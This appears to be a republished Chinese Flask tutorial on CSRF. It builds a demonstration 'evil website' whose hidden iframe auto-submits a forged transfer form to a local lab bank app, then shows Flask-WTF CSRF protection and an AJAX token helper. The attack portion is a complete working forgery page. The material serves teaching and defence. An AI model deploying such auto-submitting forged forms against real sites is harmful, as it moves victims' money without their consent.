3.攻击实例(evel.website.com)
初始化项目,这里使用的是
JavaScript
控制黑客网站主动去发送已经登录银行用户的cookie
信息.实现转账.
├── app.py # 主文件
├── config.py # 配置文件
├── static # CSS,js文件
│ └── images
│ └── 10001.gif
└── templates # 渲染文件
├── index.html # 主页
└── transfer.html # 转账页面
app.py
from Flask import Flask
from flask import render_template
import config
app = Flask(__name__)
app.config.from_object(config)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/transfer/')
def transfer():
return render_template('transfer.html')
if __name__ == '__main__':
app.run(host='192.168.0.101', port=8080)
config.py
DEBUG=True
TEMPLATES_AUTO_RELOAD=True
SERVER_NAME="www.evel_website.com:8080"
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>首页</title>
<style>
.box {
height: 100%;
width: 100%;
}
</style>
</head>
<body>
<div class="box"><img src="{{ url_for('static', filename='images/10001.gif') }}" alt=""></div>
<iframe style="height: 0;height: 0;" src="{{ url_for('transfer') }}" frameborder="0"></iframe>
</body>
</html>这里引入了一个
iframe
内联浏览器标签,并把高宽设置为0
,实现了隐藏的任务,这样,访问主页会自动运行iframe
标签,跳转到转账页面.
transfer.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
<script src="http://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js"></script>
</head>
<body>
<form action="http://127.0.0.1:5000/transfer/" method="POST" id='transfer'>
<table>
<tr>
<td>转账金额:</td>
<td><input type="text" name="transfer" value="1000"></td>
</tr>
<tr>
<td>转账账户:</td>
<!--- value 值 要是数据库中的真正的账户 -->
<td><input type="text" name="transfer_name" value="traitor"></td>
</tr>
</table>
<div class="box7">
<input type="submit" value="确定转入">
</div>
</form>
<script>
$(function() {
$('#transfer').submit();
});
</script>
</body>
</html>这里实现了一个和
127.0.0.1:5000/transfer/
一样的post
表单,并利用JavaScript
实现了自动点击submit()
提交,实现了自动转账的功能.主要要使用同一个浏览器才能共用cookie
4.攻击
在登陆
127.0.0.1:5000
的前提下,去访问192.168.0.101:8080
网站,它利用了cookie
的原理去攻击127.0.0.1:5000
实现了账户的自动转账给traitor
用户.
5.防护
Flask
中表单的防护依靠的Flask_WTF
,它的实现是在session in cookie
中添加一个token
.它的基本原理是:
web server
会给登录的用户生成一个唯一的token
并放置到session
和html
表单中.由于是唯一的 token
,黑客不能拿到当前用户访问的html
页面的token
黑客伪造的 transfer.html
页面,由于没有token
,就算使用了用户的session
也会被服务器丢弃.
Flask
中开启CSRF
防护很简单.参照FLask_WTF
官网只需要2步:
导入保护模块并绑定 app
from flask_wtf.csrf import CSRFProtect
csrf = CSRFProtect(app)
html
相关页面中加入token
信息.<form method="post">
<!----- 实现一个隐藏的input 标签,并出入token --->
<input type="hidden" name="csrf_token" value="{{ csrf_token() }}"/>
</form>项目中开启
app.py
.....
# 开启CSRF防护
from flask_wtf import CSRFProtect
app = Flask(__name__)
app.config.from_object(config)
# 绑定数据库
db.init_app(app)
# 绑定app
CSRFProtect(app)
....
base.html
....
<form action="" method="post">
<input type="hidden" name="{{ csrf_token() }}">
{% block block_post %}
{% endblock %}
</form>
....
6.使用AJAX
提交数据
在账户登录时,不使用浏览器原生的提交方式,而是使用
AJAX
提交数据给后台服务器,并保持网页不跳转.
login.html
{% extends 'base.html' %}
{% block block_title %}
智商银行登录
{% endblock %}
{% block script %}
<script>
$(function(){
// 阻止点击的默认行为
$('#btn1').click(function (event) {
// 阻止默认行为
console.log('1');
event.preventDefault();
// 获取数据
var Dcsrf_token = $("input[name='csrf_token']").val();
var Demail = $("input[name='email']").val();
var Dpassword = $("input[name='password']").val();
var Dlifetime = $("input[name='lifetime']").val();
// javascript object
var Data = {
csrf_token:Dcsrf_token,
email:Demail,
password:Dpassword,
lifetime:Dlifetime
};
console.log(Data);
$.post({
url:{{ url_for('login') }},
data:Data, // 为了表单验证,发送JavaScript object 类型数据
success: function (data) {
console.log(data);
}
})
});
})
</script>
{% endblock %}
{% block block_post %}
<div class="in_container">
<div class="in_h2">
<h2>登录</h2>
</div>
<div class="in_box">
<div class="in_img">
<img src="{{ url_for('static', filename='images/ico-user.png') }}" alt="user">
</div>
<div class="in_input_1">
<input type="text" name="email" placeholder="邮箱账户">
</div>
</div>
<div class="in_box">
<div class="in_img">
<img src="{{ url_for('static', filename='images/ico-password.png') }}" alt="passwd">
</div>
<div class="in_input_1">
<input type="password" name="password" placeholder="密码">
</div>
</div>
<div class="in_lifetime">
<input type="checkbox" name="lifetime" value="十天免登录">十天免登录
</div>
<div class="in_submit">
<input type="submit" value="登录" id="btn1">
</div>
</div>
{{ info }}
{% endblock %}需要注意的是:要把隐藏的
input
标签的value
传递给后台.var Dcsrf_token = $("input[name='csrf_token']").val();
但是这样还不是最简单的,因为每个有
form
表单的页面都需要去手动添加一下csrf-token
.参考flask_wtf
和ajax
的结合.可以在
base.html
中添加meta
标签,用它来获取{{ csrf_token }}
,使用这种方法,可以在form
表单中省去写隐藏的input
标签/*base.html*/
<head>
<meta charset="UTF-8">
/*添加如下*/
<meta name="csrf-token" content="{{ csrf_token() }}">
....
<form action="" method="post">
/* 可以注销隐藏的input标签. */
{# <input type="hidden" name="csrf_token" value="{{ csrf_token() }}"/>#}根据以上内容,进一步简写,抽象成一个文件.
// csrfAjax.js
// create JavaScript object
var csrfAjax={
get: function (args) {
args['type'] = 'GET';
this.ajax(args);
},
post: function(args){
args['type'] = 'POST';
this.ajax(args);
},
ajax: function (args) {
// 添加csrf_token
this._ajaxSetup();
$.ajax(args);
},
_ajaxSetup: function () {
$.ajaxSetup({
beforeSend: function(xhr, settings) {
if (!/^(GET|HEAD|OPTIONS|TRACE)$/i.test(settings.type) && !this.crossDomain) {
// 获取 csrf_token,
// 需要注意的是 base.html 必须添加 meta 标签
var csrf_token = $("meta[name='csrf-token']").attr('content');
xhr.setRequestHeader("X-CSRFToken", csrf_token);
}
}
});
}
};
login.html
{# 在login.html 中引入定义好的 csrfAjax.js #}
{% block script %}
<script src="{{%20url_for('static',%20filename="js/csrfAjax.js") }}"></script>
<script>
$(function(){
// 阻止点击的默认行为
$('#btn1').click(function (event) {
// 阻止默认行为
console.log('1');
event.preventDefault();
// 获取数据
// var Dcsrf_token = $("input[name='csrf_token']").val();
// var Dcsrf_token = $("meta[name='csrf-token']").attr('content');
var Demail = $("input[name='email']").val();
var Dpassword = $("input[name='password']").val();
var Dlifetime = $("input[name='lifetime']").val();
// javascript object
var Data = {
email:Demail,
password:Dpassword,
lifetime:Dlifetime
};
console.log(Data);
{#$.post({#}
{# url:{{ url_for('login') }},#}
{# data:Data, // 为了表单验证,发送JavaScript object 类型数据#}
{# success: function (data) {#}
{# console.log(data);#}
{# }#}
{# }) #}
{# 使用导入的csrfAjax的方法 #}
csrfAjax.post({
url:{{ url_for('login') }},
data:Data, // 为了表单验证,发送JavaScript object 类型数据
success: function (data) {
console.log(data);
}
})
});
})
</script>
{% endblock %}
– END –
原文始发于微信公众号(Flask学习笔记):CSRF攻击和防护(4)
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/36479.html